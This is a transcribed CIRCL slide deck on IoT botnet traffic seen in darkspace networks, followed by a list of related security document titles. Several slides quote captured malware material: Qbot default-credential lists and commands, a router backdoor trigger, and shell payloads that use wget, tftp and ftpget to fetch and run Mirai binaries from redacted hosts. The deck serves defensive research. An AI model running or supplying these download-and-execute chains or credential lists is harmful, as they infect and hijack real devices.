IoT dinosaurs - don t die out
|
|
|
- Brett Todd
- 6 years ago
- Views:
Transcription
1 IoT dinosaurs - don t die out Data Science Luxembourg Gerard Wagener - TLP:WHITE CIRCL October 24, 2017
2 The Computer Incident Response Center Luxembourg (CIRCL) is a government-driven initiative designed to provide a systematic response facility to computer security threats and incidents. CIRCL is the CERT for the private sector, communes and non-governmental entities in Luxembourg. 2 of 23
3 Motivation and background IP darkspace or blackhole is Routable non-used address space of an ISP (Internet Service Provider), incoming traffic is unidirectional and unsolicited. Is there any traffic in those darkspaces? If yes, what and why does it arrive there? And on purpose or by mischance? What s the security impact? What are the security recommendations? 3 of 23
4 Collection and analysis framework 4 of 23
5 How does the data look like? 5 of 23
6 Raw data processing Avoid json exports such as provided by tshark 1 (ek option) or Moloch 2 Multiplies data volume up to 15 times On 2.18 TB compressed packet captures give 32 TB Avoid writing and reading from the same disk Keep raw data as long as possible of 23
7 Plotting TCP initial sequence numbers 7 of 23
8 Mirai case Discovering new devices 8 of 23
9 Mirai case 9 of 23
10 Mirai case Unique IP addresses Mirai behavior observed in blackhole networks isn=ip dest 09/01/16 11/01/16 01/01/17 03/01/17 05/01/17 07/01/17 09/01/17 day 10 of 23
11 Mirai case New forks Port 23 (TCP) and 2323 (TCP) evolution unique IP addresses 1.6x x x10 6 1x port 23 port 2323 port port 23 IP dest=isn day 11 of 23
12 IoT malware familes Linux.Darlloz (aka Zollard) Linux.Aidra / Linux.Lightaidra Linux.Xorddos (aka XOR.DDos) Linux.Ballpit (aka LizardStresser) Linux.Gafgyt (aka GayFgt, Bashlite) Linux.Moose Linux.Dofloo (aka AES.DDoS, Mr. Black) Linux.Pinscan / Linux.Pinscan.B (aka PNScan) Linux.Kaiten / Linux.Kaiten.B (aka Tsunami) Linux.Routrem (aka Remainten, KTN-Remastered, KTN-RM) Linux.Wifatch (aka Ifwatch) Linux.LuaBot Source: 12 of 23
13 Qbot Brute force attacks telnet accounts root admin user login guest support netgear cisco ubnt telnet Administrator comcast default password D-Link manager pi VTech vagrant Source: 13 of 23
14 Qbot Commands PING GETLOCALIP SCANNER ON, OFF JUNK HOLD UDP flood HTTP flood CNC KILLATTK GTFOFAG FATCOCK 14 of 23
15 Netcore/Netis routers backdoor exploits Backdoor reported by Trendmicro the 8th August Send UDP packet on port Payload must start with AA\0AAAA\0 followed with shell commands 4 Last observed packet Pushed malware Mirai 748ea07b cbf9c60934b43d82 Mirai variant? 3 netis-routers-leave-wide-open-backdoor/ of 23
16 Injected URLS in UDP payloads AA\x00\x00AAAA cd /tmp cd /var/run cd /mnt cd /root cd /; wget chmod 777 kanker; sh kanker; tftp xx.xx c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g xx.xx ; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 xx.xx ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf kanker tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x00\n 16 of 23
17 Injected URLS in UDP payloads # Gucci Ares # Kik:XVPL IG:Greek.Ares #!/bin/sh # Edit WEBSERVER="xx.xx :80" # Stop editing now BINARIES="mirai.arm mirai.arm5n mirai.arm7 mirai.x68 mirai.x86 mirai.m68k mirai.mips mirai.mpsl mirai.ppc mirai.sh4 mirai.spc" for Binary in $BINARIES; do cd /tmp; echo >DIRTEST cd /var; echo >DIRTEST ;wget -O dvrhelper chmod 777 dvrhelper./dvrhelper done 17 of 23
18 Injected URLS in UDP payloads Unique IP addresses Wget and urls observed in UDP payloads /01/15 07/01/15 01/01/16 day 07/01/16 01/01/17 07/01/17 18 of 23
19 Injected URLS in UDP payloads Unique IP addresses /01/ /01/16 12/01/16 01/01/17 Injected URLs in UDP payloads 02/01/17 03/01/17 04/01/17 day 05/01/17 06/01/17 07/01/17 unique urls 08/01/17 09/01/17 10/01/17 11/01/17 19 of 23
20 Machine cleanup is hard 4 years in the life of a printer from a series of packets hitting our darkspace 20 of 23
21 Machine cleanup is hard Misconfigured printer Number of messages /01/ /01/13 01/01/14 Syslog: printer activity (single source) 07/01/14 01/01/15 07/01/15 door open intervention req. paper jam toner low output full 01/01/16 07/01/16 01/01/17 07/01/17 21 of 23 date
22 Allaple worm 35 Allaple worm activity Unique IP addresses /01/15 04/01/15 07/01/15 10/01/15 01/01/16 04/01/16 07/01/16 Day 10/01/16 01/01/17 04/01/17 07/01/17 10/01/17 22 of 23
23 Commodity routers were already abused in 2014 They are still being abused Many variants are there MISP It usually takes a lot of time to get machines fixed Contact info@circl.lu 23 of 23
How to better understand DDoS attacks from a post-mortem analysis perspective using backscatter traffic Luxembourg Internet Days 2017
How to better understand DDoS attacks from a post-mortem analysis perspective using backscatter traffic Luxembourg Internet Days 2017 Gérard Wagener - TLP:WHITE CIRCL November 15, 2017 Outline Introduction
Honeypots observations and their usefulness
Honeypots observations and their usefulness Gerard Wagener - TLP:WHITE CIRCL March 15, 2017 The Computer Incident Response Center Luxembourg (CIRCL) is a government-driven initiative designed to provide
The Void. An Interesting Place For Network Security Monitoring. Alexandre Dulaunoy, CIRCL- TLP:WHITE. 19 November 2013 LORIA Seminar
The Void An Interesting Place For Network Security Monitoring Alexandre Dulaunoy, CIRCL- TLP:WHITE alexandre.dulaunoy@circl.lu 19 November 2013 LORIA Seminar CIRCL, national CERT of Luxembourg CIRCL 1
Another Perspective to IP-Darkspace Analysis
Another Perspective to IP-Darkspace Analysis RESTENA - CSIRT Computer Security Incident Response Team Cynthia Wagner, Marc Stiefer, Restena-CSIRT Alexandre Dulaunoy, Gérard Wagener, CIRCL- TLP:AMBER info@circl.lu,
Blackhole Networks. an Underestimated Source for Information Leaks. Alexandre Dulaunoy CIRCL - TLP:WHITE FIRST2017. Team CIRCL - Team Restena
Blackhole Networks an Underestimated Source for Information Leaks Alexandre Dulaunoy CIRCL - TLP:WHITE Team CIRCL - Team Restena FIRST2017 Motivation and background IP darkspace or black hole is Routable
The Void. An Interesting Place For Network Security Monitoring. Alexandre Dulaunoy, CIRCL- TLP:WHITE. November 13,
The Void An Interesting Place For Network Security Monitoring Alexandre Dulaunoy, CIRCL- TLP:WHITE alexandre.dulaunoy@circl.lu November 13, 2014 CIRCL, national CERT of Luxembourg CIRCL 1 is composed of
Figure 1: Attempts for /ws/v1/cluster/apps/new-application
ERT Threat Alert DemonBot October 26, 2018 Abstract Radware s Threat Research Center is monitoring and tracking a malicious agent that is leveraging a Hadoop YARN unauthenticated remote command execution
PyNetSim A modern INetSim Replacement. Jason Jones FIRST 2017
PyNetSim A modern INetSim Replacement Jason Jones FIRST 2017 BackGround Why? Research teams may need a simulated environment because They are not allowed to directly contact malware C2s Trying to avoid
Detect & Respond to IoT Botnets AS AN ISP. Christoph Giese Telekom Security; Cyber DefenSe Center
Detect & Respond to IoT Botnets AS AN ISP Christoph Giese Telekom Security; Cyber DefenSe Center Management Summary Mirai hit us hard; IoT Botnets are on the rise and rapidly evolving We developed a three-stage
Identifying and Disrupting Mirai Botnets. Chuck McAuley
Identifying and Disrupting Mirai Botnets Chuck McAuley Who me? Chuck McAuley Principal Threat Researcher at Ixia s Application Threat Intelligence team Talks to all the people Goes to all the places Does
The Reigning King of IP Camera Botnets and its Challengers
Appendix The Reigning King of IP Camera Botnets and its Challengers Appendix TrendLabs Security Intelligence Blog Dove Chu, Kenney Lu and Tim Yeh APT Team and CSS May 2017 Indicators of Compromise (IoCs):
Feasibility study of scenario based self training material for incident response
24th Annual FIRST Conference Feasibility study of scenario based self training material for incident response June 21, 2012 Hitachi Incident Response Team Chief Technology and Coordination Designer Masato
Russian Cyber Attack Warning and Impact on AccessEnforcer UTM Firewall
Russian Cyber Attack Warning and Impact on AccessEnforcer UTM Firewall 1 U.S. and U.K. authorities last week alerted the public to an on-going effort to exploit network infrastructure devices including
Cisco Stealthwatch. Internal Alarm IDs 7.0
Cisco Stealthwatch Internal Alarm IDs 7.0 Stealthwatch Internal Alarm IDs Some previously used alarms are now obsolete and no longer listed in this file. 1 Host Lock Violation 5 SYN Flood 6 UDP Flood 7
AKAMAI THREAT ADVISORY. Satori Mirai Variant Alert
AKAMAI THREAT ADVISORY Satori Mirai Variant Alert Version: V002 Date: December 6, 2017 1.0 / Summary / Akamai, along with industry peers, has identified an updated variant of Mirai (Satori) that has activated
vol.15 August 1, 2017 JSOC Analysis Team
vol.15 August 1, 2017 JSOC Analysis Team JSOC INSIGHT vol.15 1 Preface...2 2 Executive Summary...3 3 Trends in Severe Incidents at the JSOC...4 3.1 Trends in severe incidents... 4 3.2 Analysis of severe
IoT Vulnerabilities. By Troy Mattessich, Raymond Fradella, and Arsh Tavi. Contribution Distribution
Security Penetration Through IoT Vulnerabilities By Troy Mattessich, Raymond Fradella, and Arsh Tavi Contribution Distribution Arsh Tavi Troy Mattessich Raymond Fradella Conducted research and compiled
DoS Cyber Attack on a Government Agency in South America- February 2012 Anonymous Mobile LOIC in Action
DoS Cyber Attack on a Government Agency in South America- February 2012 Anonymous Mobile LOIC in Action 1 Table of Content Preamble...3 About Radware s DefensePro... 3 About Radware s Emergency Response
Computer Security: Principles and Practice
Computer Security: Principles and Practice Chapter 8 Denial of Service First Edition by William Stallings and Lawrie Brown Lecture slides by Lawrie Brown Denial of Service denial of service (DoS) an action
Chair for Network Architectures and Services Department of Informatics TU München Prof. Carle. Network Security. Chapter 8
Chair for Network Architectures and Services Department of Informatics TU München Prof. Carle Network Security Chapter 8 System Vulnerabilities and Denial of Service Attacks System Vulnerabilities and
DoS Attacks Malicious Code Attacks Device Hardening Social Engineering The Network Security Wheel
CCNA4 Chapter 4 * DoS Attacks DoS attacks are the most publicized form of attack and also among the most difficult to eliminate. DoS attacks prevent authorized people from using a service by consuming
SE 4C03 Winter Final Examination Answer Key. Instructor: William M. Farmer
SE 4C03 Winter 2003 Final Examination Answer Key Instructor: William M. Farmer (1) [2 pts.] Both the source and destination IP addresses are used to route IP datagrams. Is this statement true or false?
Intrusion Attempt Who's Knocking Your Door
10 Intrusion Attempt Who's Knocking Your Door By Kilausuria binti Abdullah Introduction: An intrusion attempt is a potential for a deliberate unauthorized attempt to enter either a computer, system or
Technical White Paper June 2016
TLP:WHITE! Technical White Paper June 2016 GuidetoDDoSAttacks! Authored)by:) Lee)Myers,)Senior)Manager)of)Security)Operations) Christopher)Cooley,)Cyber)Intelligence)Analyst) This MultiCState Information
IoT - Next Wave of DDoS? IoT Sourced DDoS Attacks A Focus on Mirai Botnet and Best Practices in DDoS Defense
IoT - Next Wave of DDoS? IoT Sourced DDoS Attacks A Focus on Mirai Botnet and Best Practices in DDoS Defense DDoS Attacks Increasing in Size, Frequency & Complexity Arbor Networks WISR XII Largest attack
Distributed Systems. 29. Firewalls. Paul Krzyzanowski. Rutgers University. Fall 2015
Distributed Systems 29. Firewalls Paul Krzyzanowski Rutgers University Fall 2015 2013-2015 Paul Krzyzanowski 1 Network Security Goals Confidentiality: sensitive data & systems not accessible Integrity:
Objectives. Classes of threats to networks. Network Security. Common types of network attack. Mitigation techniques to protect against threats
ITE I Chapter 6 2006 Cisco Systems, Inc. All rights reserved. Cisco Public 1 Objectives Enterprise Network Security Describe the general methods used to mitigate security threats to Enterprise networks
ERT Threat Alert New Risks Revealed by Mirai Botnet November 2, 2016
Abstract The Mirai botnet struck the security industry in three massive attacks that shook traditional DDoS protection paradigms, proving that the Internet of Things (IoT) threat is real and the grounds
Secure your Web Applications with AWS WAF & AWS Shield. James Chiang ( 蔣宗恩 ) AWS Solution Architect
Secure your Web Applications with AWS WAF & AWS Shield James Chiang ( 蔣宗恩 ) AWS Solution Architect www.cloudsec.com What to expect from this session Types of Threats AWS Shield AWS WAF DEMO Real World
Fundamentals of Information Systems Security Lesson 8 Mitigation of Risk and Threats to Networks from Attacks and Malicious Code
Fundamentals of Information Systems Security Lesson 8 Mitigation of Risk and Threats to Networks from Attacks and Malicious Code Learning Objective Explain the importance of network principles and architecture
CDX REPORT TEAM #8 JACOB CHAPMAN SNEHESH THALAPANENI DEVISHA SRIVASTAVA
CDX REPORT TEAM #8 JACOB CHAPMAN SNEHESH THALAPANENI DEVISHA SRIVASTAVA SANJAY ALEX KALLA HOSTING We installed Open VPN daemon, which can be used to securely link two or more private networks using an
Cyber Security & Ethical Hacking Training. Introduction to Cyber Security Introduction to Cyber Security. Linux Operating System and Networking: LINUX
Cyber Security & Ethical Hacking Training. Introduction to Cyber Security Introduction to Cyber Security HTML PHP Database Linux Operating System and Networking: LINUX NETWORKING Information Gathering:
CSC 170 Fall 2017 Dr. R. M. Siegfried. Study Guide for Final Exam
CSC 170 Fall 2017 Dr. R. M. Siegfried Study Guide for Final Exam Definitions to know: Lecture #1 1. Data 2. Digitization 3. Bit 4. Byte 5. Binary Numbers 6. How Are Characters Stored? a. ASCII b. Unicode
Sam Pickles, F5 Networks A DAY IN THE LIFE OF A WAF
Sam Pickles, F5 Networks A DAY IN THE LIFE OF A WAF Who am I? Sam Pickles Senior Engineer for F5 Networks WAF Specialist and general security type Why am I here? We get to see the pointy end of a lot of
Routing Security DDoS and Route Hijacks. Merike Kaeo CEO, Double Shot Security
Routing Security DDoS and Route Hijacks Merike Kaeo CEO, Double Shot Security merike@doubleshotsecurity.com DISCUSSION POINTS Understanding The Growing Complexity DDoS Attack Trends Packet Filters and
Computer Science 3CN3 and Software Engineering 4C03 Final Exam Answer Key
Computer Science 3CN3 and Software Engineering 4C03 Final Exam Answer Key DAY CLASS Dr. William M. Farmer DURATION OF EXAMINATION: 2 Hours MCMASTER UNIVERSITY FINAL EXAMINATION April 2008 THIS EXAMINATION
Stealthwatch System v6.9.0 Internal Alarm IDs
Stealthwatch System v6.9.0 Internal Alarm IDs Copyrights and Trademarks 2017 Cisco Systems, Inc. All rights reserved. NOTICE THE SPECIFICATIONS AND INFORMATION REGARDING THE PRODUCTS IN THIS MANUAL ARE
Radware DefensePro DDoS Mitigation Release Notes Software Version Last Updated: December, 2017
Radware DefensePro DDoS Mitigation Release Notes Software Version 8.13.01 Last Updated: December, 2017 2017 Cisco Radware. All rights reserved. This document is Cisco Public. Page 1 of 9 TABLE OF CONTENTS
Named Data Networking (NDN) CLASS WEB SITE: NDN. Introduction to NDN. Updated with Lecture Notes. Data-centric addressing
CLASS WEB SITE: http://upmcsms.weebly.com/ Updated with Lecture Notes Named Data Networking (NDN) Introduction to NDN Named Data Networking (NDN) IP NDN Host-centric addressing Data-centric addressing
Grandstream Networks, Inc. GWN7000 OpenVPN Site-to-Site VPN Guide
Grandstream Networks, Inc. GWN7000 OpenVPN Site-to-Site VPN Guide Table of Contents INTRODUCTION... 4 SCENARIO OVERVIEW... 5 CONFIGURATION STEPS... 6 Core Site Configuration... 6 Generate Self-Issued Certificate
attacking with cisco devies
attacking with cisco devies or why a cisco device can be evil Christoph Weber christoph.weber@packetlevel.ch network + security engineer #hashdays 2010 / Lucerne 2010 by packetlevel.ch / version 1.0 Disclaimer
Distributed Systems. 27. Firewalls and Virtual Private Networks Paul Krzyzanowski. Rutgers University. Fall 2013
Distributed Systems 27. Firewalls and Virtual Private Networks Paul Krzyzanowski Rutgers University Fall 2013 November 25, 2013 2013 Paul Krzyzanowski 1 Network Security Goals Confidentiality: sensitive
ECE 471 Embedded Systems Lecture 22
ECE 471 Embedded Systems Lecture 22 Vince Weaver http://www.eece.maine.edu/~vweaver vincent.weaver@maine.edu 31 October 2018 Don t forget HW#7 Announcements 1 Computer Security and why it matters for embedded
Legal and notice information
Legal and notice information Copyright 2017 Trend Micro Incorporated. All rights reserved. TippingPoint, the TippingPoint logo, and Digital Vaccine are trademarks or registered trademarks of Trend Micro
Global Information Assurance Certification Paper
Global Information Assurance Certification Paper Copyright SANS Institute Author Retains Full Rights This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without
3 Connection, Shell Serial Connection over Console Port SSH Connection Internet Connection... 5
Contents 1 Description 2 2 Supported Devices 3 3 Connection, Shell 4 3.1 Serial Connection over Console Port...................... 4 3.2 SSH Connection................................. 4 3.3 Internet Connection...............................
ECE 697J Advanced Topics in Computer Networks
ECE 697J Advanced Topics in Computer Networks Network Measurement 12/02/03 Tilman Wolf 1 Overview Lab 3 requires performance measurement Throughput Collecting of packet headers Network Measurement Active
10 Defense Mechanisms
SE 4C03 Winter 2006 10 Defense Mechanisms Instructor: W. M. Farmer Revised: 23 March 2006 1 Defensive Services Authentication (subject, source) Access control (network, host, file) Data protection (privacy
Chapter 7. Denial of Service Attacks
Chapter 7 Denial of Service Attacks DoS attack: An action that prevents or impairs the authorized use of networks, systems, or applications by exhausting resources such as central processing units (CPU),
Radware: Anatomy of an IoT Botnet and Economics of Defense
BRKPAR-4000 Radware: Anatomy of an IoT Botnet and Economics of Defense Eric Grubel Anatomy of an IoT Botnet and Economics of Defense Eric Grubel VP, Business Development January 2018 Theme of Discussion
Port Forwarding Technical Support Guide
Port Forwarding Technical Support Guide Copyright Copyright 2015 NetComm Wireless Limited. All rights reserved. The information contained herein is proprietary to NetComm Wireless. No part of this document
Hackveda Training - Ethical Hacking, Networking & Security
Hackveda Training - Ethical Hacking, Networking & Security Day1: Hacking windows 7 / 8 system and security Part1 a.) Windows Login Password Bypass manually without CD / DVD b.) Windows Login Password Bypass
MsActivator (VSOC 8.2) Administration Guide
MsActivator (VSOC 8.2) Administration Guide 18-20 rue Henri Barbusse B.P. 2501 38035 GRENOBLE cedex 2 FRANCE Phone : +33 (0) 438 498 360 Fax : +33 (0) 438 498 361 support@ubiqube.com Copyright 2009 UBIqube
Intrusion Detection by Combining and Clustering Diverse Monitor Data
Intrusion Detection by Combining and Clustering Diverse Monitor Data TSS/ACC Seminar April 5, 26 Atul Bohara and Uttam Thakore PI: Bill Sanders Outline Motivation Overview of the approach Feature extraction
Intelligent and Secure Network
Intelligent and Secure Network BIG-IP IP Global Delivery Intelligence v11.2 IP Intelligence Service Brian Boyan - b.boyan@f5.com Tony Ganzer t.ganzer@f5.com 2 Agenda Welcome & Intro Introduce F5 IP Intelligence
How to configure the AT-AR450S Firewall using the Graphical User Interface (GUI)
How to configure the AT-AR450S Firewall using the Graphical User Interface (GUI) Introduction This document describes the firewall configuration facility available on the AT-AR450S HTTP-based Graphical
Increase Threat Detection & Incident Response
Martin Rudd Carrier Scale Network Security: Increase Threat Detection & Incident Response www.telesoft-technologies.com copyright 2017 by Telesoft Technologies. All rights reserved. Agenda Brief bio Threat
A Software Tool for Network Intrusion Detection
A Software Tool for Network Intrusion Detection 4th Biennial Conference Presented by: Christiaan van der Walt Date:October 2012 Presentation Outline Need for intrusion detection systems Overview of attacks
Exit from Hell? Reducing the Impact of Amplification DDoS Attacks Marc Kührer, Thomas Hupperich, Christian Rossow, and Thorsten Holz
Exit from Hell? Reducing the Impact of Amplification DDoS Attacks Marc Kührer, Thomas Hupperich, Christian Rossow, and Thorsten Holz Presented By : Richie Noble Distributed Denial-of-Service (DDoS) Attacks
Vulnerability Management & Vulnerability Assessment. Nessus Attack Scripting Language (NASL). CVE databases, NVD database
Case Study 2018 Solution/Service Title Vulnerability Management & Vulnerability Assessment Client Industry Cybersecurity, Vulnerability Assessment and Management, Network Security Client Overview Client
COSC 301 Network Management
COSC 301 Network Management Lecture 21: Firewalls & NAT Zhiyi Huang Computer Science, University of Otago COSC301 Lecture 21: Firewalls & NAT 1 Today s Focus How to protect an intranet? -- Firewall --
Data Communication. Chapter # 5: Networking Threats. By: William Stalling
Data Communication Chapter # 5: By: Networking Threats William Stalling Risk of Network Intrusion Whether wired or wireless, computer networks are quickly becoming essential to everyday activities. Individuals
Network Security. Thierry Sans
Network Security Thierry Sans HTTP SMTP DNS BGP The Protocol Stack Application TCP UDP Transport IPv4 IPv6 ICMP Network ARP Link Ethernet WiFi The attacker is capable of confidentiality integrity availability
Incorporating Network Flows in Intrusion Incident Handling and Analysis
Regional Visualization and Analytics Center Incorporating Network Flows in Intrusion Incident Handling and Analysis John Gerth Stanford University gerth@stanford.edu FloCon 2008 1 EE/CS Network Infrastructure
IRL: Live Hacking Demos!
SESSION ID: SBX2-R3 IRL: Live Hacking Demos! Omer Farooq Senior Software Engineer Independent Security Evaluators Rick Ramgattie Security Analyst Independent Security Evaluators What is the Internet of
DDoS and Traceback 1
DDoS and Traceback 1 Denial-of-Service (DoS) Attacks (via Resource/bandwidth consumption) malicious server legitimate Tecniche di Sicurezza dei Sistemi 2 TCP Handshake client SYN seq=x server SYN seq=y,
R (2) Implementation of following spoofing assignments using C++ multi-core Programming a) IP Spoofing b) Web spoofing.
R (2) N (5) Oral (3) Total (10) Dated Sign Experiment No: 1 Problem Definition: Implementation of following spoofing assignments using C++ multi-core Programming a) IP Spoofing b) Web spoofing. 1.1 Prerequisite:
Three interface Router without NAT Cisco IOS Firewall Configuration
Three interface Router without NAT Cisco IOS Firewall Configuration Document ID: 13893 Contents Introduction Prerequisites Requirements Components Used Conventions Configure Network Diagram Configurations
Honeynet Weekly Report Canadian Institute for Cybersecurity (CIC)
Report (11) Captured from 04-05-2018 to 18-05-2018 1-Introduction The first honeypot studies released by Clifford Stoll in 1990, and from April 2008 the Canadian Honeynet chapter was founded at the University
Secure Communication over MQTT. Ahmet Onat 2018
Secure Communication over MQTT Ahmet Onat 2018 onat@sabanciuniv.edu Why Security? Our data does not have commercial value There is no incentive for hackers to attack our systems I don t bank online, I
A Characterization of IPv6 Network Security Policy
Don t Forget to Lock the Back Door! A Characterization of IPv6 Network Security Policy Jakub (Jake) Czyz, University of Michigan & QuadMetrics, Inc. Matthew Luckie, University of Waikato Mark Allman, International
GARR customer triggered blackholing
GARR customer triggered blackholing Silvia d Ambrosio, Nino Ciurleo Introduction From discussions with the GARR working group on "contrast to DDoS", we understood the importance of a collaboration between
Securing CS-MARS C H A P T E R
C H A P T E R 4 Securing CS-MARS A Security Information Management (SIM) system can contain a tremendous amount of sensitive information. This is because it receives event logs from security systems throughout
Security+ Guide to Network Security Fundamentals, Fourth Edition. Network Attacks Denial of service Attacks
Security+ Guide to Network Security Fundamentals, Fourth Edition Network Attacks Denial of service Attacks Introduction: What is DoS? DoS attack is an attempt (malicious or selfish) by an attacker to cause
Hello? It s Me, Your Not So Smart Device. We Need to Talk.
SESSION ID: SBX1-R2 Hello? It s Me, Your Not So Smart Device. We Need to Talk. Alex Jay Balan Chief Security Researcher Bitdefender @jaymzu IoT is not optional 2 IoT is not optional IoT = hardware + OS
AIL Framework for Analysis of Information Leaks
AIL Framework for Analysis of Information Leaks hack.lu workshop - A generic analysis information leak open source software Alexandre Dulaunoy alexandre.dulaunoy@circl.lu Sami Mokaddem sami.mokaddem@circl.lu
Flooding Attacks by Exploiting Persistent Forwarding Loops
Flooding Attacks by Exploiting Persistent Forwarding Jianhong Xia, Lixin Gao, Teng Fei University of Massachusetts at Amherst {jxia, lgao, tfei}@ecs.umass.edu ABSTRACT In this paper, we present flooding
Implementing Coarse, Long- Term Traffic Capture
Implementing Coarse, Long- Term Traffic Capture Michael Collins, CERT/Network Situational Awareness 2005 Carnegie Mellon University Outline of Talk Introduction To Work Logistics of Traffic Analysis Implementing
Security Concerns in Automotive Systems. James Martin
Security Concerns in Automotive Systems James Martin Main Questions 1. What sort of security vulnerabilities do modern cars face today? 2. To what extent are external attacks possible and practical? Background
DID WE LOSE THE BATTLE FOR A SECURE WEB?
DID WE LOSE THE BATTLE FOR A SECURE WEB? Philippe De Ryck Guest lecture Capita Selecta, UCLL, December 14 th 2016 https://www.websec.be ABOUT ME PHILIPPE DE RYCK My goal is to help you build secure web
Net LineDancer v13. Install Guide for Linux. Revision History
Net LineDancer v13 Install Guide for Linux Revision History Revision Subject Revisions First Edition (v13.08) Created as a First Edition (2013/09/03) LogicVein, Inc. www.logicvein.com Tel: +81-44-852-4200
RG-MACC_2.0 Installation Manual
RG-MACC_2.0 Installation Manual Ruijie Networks Co., Ltd all rights reserved 1 Copyright Clarify Copyright ownership belongs to Ruijie, shall not be reproduced, copied, or used in other ways without permission.
Chapter 2. Switch Concepts and Configuration. Part II
Chapter 2 Switch Concepts and Configuration Part II CCNA3-1 Chapter 2-2 Switch Concepts and Configuration Configuring Switch Security MAC Address Flooding Passwords Spoofing Attacks Console Security Tools
Key Aspects of Cybersecurity in the context of Internet of Things (IOT) Raj Kumar
Key Aspects of Cybersecurity in the context of Internet of Things (IOT) Raj Kumar Key Aspects of Cybersecurity in the context of Internet of Things (IOT) IoT Security Challenges and Recent Incidents The
Transport Level Security
2 Transport Level Security : Security and Cryptography Sirindhorn International Institute of Technology Thammasat University Prepared by Steven Gordon on 28 October 2013 css322y13s2l12, Steve/Courses/2013/s2/css322/lectures/transport.tex,
Cyber Attacks and Application - Motivation, Methods and Mitigation. Alfredo Vistola Solution Architect Security, EMEA
Cyber Attacks and Application - Motivation, Methods and Mitigation Alfredo Vistola a.vistola@f5.com Solution Architect Security, EMEA Attacks are Moving Up the Stack Network Threats Application Threats
PASS4TEST. IT Certification Guaranteed, The Easy Way! We offer free update service for one year
PASS4TEST IT Certification Guaranteed, The Easy Way! \ http://www.pass4test.com We offer free update service for one year Exam : 642-504 Title : Securing Networks with Cisco Routers and Switches Vendors
ACS / Computer Security And Privacy. Fall 2018 Mid-Term Review
ACS-3921-001/4921-001 Computer Security And Privacy Fall 2018 Mid-Term Review ACS-3921/4921-001 Slides Used In The Course A note on the use of these slides: These slides has been adopted and/or modified
CTS2134 Introduction to Networking. Module 08: Network Security
CTS2134 Introduction to Networking Module 08: Network Security Denial of Service (DoS) DoS (Denial of Service) attack impacts system availability by flooding the target system with traffic or by exploiting
Introduction to internetworking, OSI, TCP/IP and Addressing.
Introduction to internetworking, OSI, TCP/IP and Addressing. Network Devices Repeater (Hub) Hubs don t break collision and broadcast domains. So any packet will be forwarded to all ports. Bridge (Switch)
Fighting the Shadows: How to Stop Real-world Cybersecurity Application Threats That You Can t See
Fighting the Shadows: How to Stop Real-world Cybersecurity Application Threats That You Can t See Louis Scialabba Carrier Solutions Marketing Nov 2015 November 16, 2015 Topics What s New in Cybersecurity
Port Forwarding Setup (RTA1025W)
Port Forwarding Setup (RTA1025W) Port Forwarding Port forwarding enables programs or devices running on your LAN to communicate with the internet as if they were directly connected. This is most commonly
UDP-based Amplification Attacks and its Mitigations
UDP-based Amplification Attacks and its Mitigations Yoshiaki Kasahara kasahara@nc.kyushu-u.ac.jp 1/21/2014 APAN 37th in Bandung, Indonesia 1 Summary If you have servers with global IP addresses 1. Make
Presentation and Demo: Flow Valuations based on Network-Service Cooperation
Presentation and Demo: Flow Valuations based on Network-Service Cooperation Tanja Zseby, Thomas Hirsch Competence Center Network Research Fraunhofer Institute FOKUS, Berlin, Germany 1/25 2010, T. Zseby
Facilities Manager Technical Overview
Facilities Manager Technical Overview Overview Print Audit Facilities Manager is a powerful, easy to use tool designed to remotely collect meter reads, automate supplies fulfillment and report service
Port Mirroring in CounterACT. CounterACT Technical Note
Table of Contents About Port Mirroring and the Packet Engine... 3 Information Based on Specific Protocols... 4 ARP... 4 DHCP... 5 HTTP... 6 NetBIOS... 7 TCP/UDP... 7 Endpoint Lifecycle... 8 Active Endpoint
Hands-On Ethical Hacking and Network Defense
Hands-On Ethical Hacking and Network Defense Chapter 2 TCP/IP Concepts Review Last modified 1-11-17 Objectives Describe the TCP/IP protocol stack Explain the basic concepts of IP addressing Explain the
Cisco Security Monitoring, Analysis and Response System 4.2
Q&A Cisco Security Monitoring, Analysis and Response System 4.2 GENERAL Q. What is the Cisco Security Monitoring, Analysis and Response System? A. The Cisco Security Monitoring, Analysis and Response System
DumpsTorrent. Latest dumps torrent provider, real dumps
DumpsTorrent http://www.dumpstorrent.com Latest dumps torrent provider, real dumps Exam : GCIH Title : GIAC Certified Incident Handler Vendor : GIAC Version : DEMO Get Latest & Valid GCIH Exam's Question
(CNS-301) Citrix NetScaler 11 Advance Implementation
(CNS-301) Citrix NetScaler 11 Advance Implementation Overview Designed for students with previous NetScaler experience, this course is best suited for individuals who will be deploying or managing advanced